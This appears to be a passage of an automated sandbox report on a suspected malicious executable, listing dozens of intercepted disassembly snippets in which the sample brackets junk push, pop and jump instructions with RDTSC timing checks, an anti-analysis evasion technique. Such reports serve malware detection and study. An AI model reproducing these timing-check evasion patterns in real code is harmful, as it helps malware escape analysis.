Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B8B49 second address: 3B8B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B8B4F second address: 3B8B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F7FDCFD2296h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3BB5A0 second address: 3BB5AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3BB5AE second address: 3BB5BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3BB5BF second address: 3BB5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3BB5C3 second address: 3BB5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7FDCFD22A3h 0x0000000b jnp 00007F7FDCFD22AAh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3CB175 second address: 3CB17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3CB17D second address: 3CB185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3C5016 second address: 3C5028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7FDD3F186Ch 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F3CAC second address: 3F3CBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7FDCFD229Dh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F43C0 second address: 3F43E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F7FDD3F186Bh 0x00000010 popad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F7FDD3F1866h 0x0000001b jbe 00007F7FDD3F1866h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F43E7 second address: 3F43EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F46BB second address: 3F46D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7FDD3F186Fh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F47E7 second address: 3F47F7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7FDCFD2296h 0x00000008 jo 00007F7FDCFD2296h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F4971 second address: 3F4981 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F7FDD3F1866h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F7696 second address: 3F769C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F78D8 second address: 3F78DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F78DC second address: 3F78E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F78E0 second address: 3F78EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F7FDD3F1866h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F78EE second address: 3F78F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F79D4 second address: 3F79D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F8EE6 second address: 3F8F2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F7FDCFD229Ch 0x0000000c pop edx 0x0000000d jo 00007F7FDCFD22AAh 0x00000013 jmp 00007F7FDCFD22A2h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7FDCFD22A7h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F8F2D second address: 3F8F46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7FDD3F186Eh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F8F46 second address: 3F8F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F8F4C second address: 3F8F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3F8F52 second address: 3F8F58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3FAD0D second address: 3FAD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3FAD11 second address: 3FAD1C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0E22 second address: 4EB0E31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0E31 second address: 4EB0E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0E37 second address: 4EB0E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0E46 second address: 4EB0E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0E4A second address: 4EB0E50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0E50 second address: 4EB0E6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDCFD22A7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0E6B second address: 4EB0E9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7FDD3F186Dh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0D1C second address: 4EA0DEB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7FDCFD22A5h 0x00000008 or esi, 6A99EB36h 0x0000000e jmp 00007F7FDCFD22A1h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov dl, cl 0x0000001b call 00007F7FDCFD22A9h 0x00000020 pushfd 0x00000021 jmp 00007F7FDCFD22A0h 0x00000026 and si, CCB8h 0x0000002b jmp 00007F7FDCFD229Bh 0x00000030 popfd 0x00000031 pop esi 0x00000032 popad 0x00000033 push eax 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F7FDCFD22A4h 0x0000003b jmp 00007F7FDCFD22A5h 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007F7FDCFD22A0h 0x00000047 adc cl, 00000078h 0x0000004a jmp 00007F7FDCFD229Bh 0x0000004f popfd 0x00000050 popad 0x00000051 xchg eax, ebp 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 mov edi, 71045366h 0x0000005a movsx edi, cx 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0DEB second address: 4EA0E1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7FDD3F186Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0E1E second address: 4EA0E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, ABh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0E25 second address: 4EA0E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0E2B second address: 4EA0E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EF0034 second address: 4EF0050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7FDD3F1873h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EF0050 second address: 4EF00EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 5E344AEAh 0x00000008 mov edi, 56842BB6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F7FDCFD229Ch 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov cl, 9Dh 0x0000001a pushfd 0x0000001b jmp 00007F7FDCFD22A3h 0x00000020 and esi, 4E2D58EEh 0x00000026 jmp 00007F7FDCFD22A9h 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f pushad 0x00000030 push ecx 0x00000031 mov ebx, 08BBE64Eh 0x00000036 pop edx 0x00000037 pushfd 0x00000038 jmp 00007F7FDCFD22A4h 0x0000003d xor cl, FFFFFF98h 0x00000040 jmp 00007F7FDCFD229Bh 0x00000045 popfd 0x00000046 popad 0x00000047 pop ebp 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F7FDCFD22A0h 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EF00EA second address: 4EF00F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EF00F9 second address: 4EF00FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80160 second address: 4E80188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F7FDD3F1876h 0x0000000e push eax 0x0000000f pushad 0x00000010 movsx edi, cx 0x00000013 push eax 0x00000014 push edx 0x00000015 mov edx, esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80188 second address: 4E801F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F7FDCFD229Eh 0x0000000d mov ebp, esp 0x0000000f jmp 00007F7FDCFD22A0h 0x00000014 push dword ptr [ebp+04h] 0x00000017 jmp 00007F7FDCFD22A0h 0x0000001c push dword ptr [ebp+0Ch] 0x0000001f pushad 0x00000020 movzx eax, bx 0x00000023 jmp 00007F7FDCFD22A3h 0x00000028 popad 0x00000029 push dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F7FDCFD22A0h 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E801F5 second address: 4E801F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E801F9 second address: 4E801FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E801FF second address: 4E80205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80205 second address: 4E80209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80209 second address: 4E8020D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA06BB second address: 4EA06C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA06C9 second address: 4EA06F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7FDD3F1876h 0x00000010 pop ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov dx, si 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA05B3 second address: 4EA05BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA05BA second address: 4EA05ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F7FDD3F1872h 0x0000000f or eax, 0BD7F5F8h 0x00000015 jmp 00007F7FDD3F186Bh 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d mov dx, si 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA05ED second address: 4EA0620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a jmp 00007F7FDCFD229Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7FDCFD22A7h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA03D4 second address: 4EA03DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB0164 second address: 4EB016A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB016A second address: 4EB017C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDD3F186Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB017C second address: 4EB024B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7FDCFD22A6h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ah, dh 0x00000015 push esi 0x00000016 pushfd 0x00000017 jmp 00007F7FDCFD22A9h 0x0000001c and cx, 4316h 0x00000021 jmp 00007F7FDCFD22A1h 0x00000026 popfd 0x00000027 pop ecx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F7FDCFD22A7h 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F7FDCFD22A4h 0x00000038 xor cl, FFFFFF98h 0x0000003b jmp 00007F7FDCFD229Bh 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007F7FDCFD22A8h 0x00000047 adc cl, FFFFFFF8h 0x0000004a jmp 00007F7FDCFD229Bh 0x0000004f popfd 0x00000050 popad 0x00000051 pop ebp 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EB024B second address: 4EB0251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0F14 second address: 4EE0F25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov cl, dl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0F25 second address: 4EE0F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0F29 second address: 4EE0F37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0F37 second address: 4EE0F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDD3F186Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0F49 second address: 4EE0F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0F4D second address: 4EE0F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7FDD3F186Ah 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC023F second address: 4EC0245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC0245 second address: 4EC0249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC0249 second address: 4EC02CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7FDCFD22A6h 0x00000011 push eax 0x00000012 jmp 00007F7FDCFD229Bh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F7FDCFD22A6h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F7FDCFD229Dh 0x00000028 jmp 00007F7FDCFD229Bh 0x0000002d popfd 0x0000002e call 00007F7FDCFD22A8h 0x00000033 pop esi 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC02CD second address: 4EC02D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC02D3 second address: 4EC02D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA04F0 second address: 4EA04F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA04F4 second address: 4EA04FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA04FA second address: 4EA0542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7FDD3F1879h 0x00000009 add ecx, 1D040D06h 0x0000000f jmp 00007F7FDD3F1871h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7FDD3F186Dh 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0542 second address: 4EA056E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7FDCFD229Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA056E second address: 4EA0572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0572 second address: 4EA0578 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
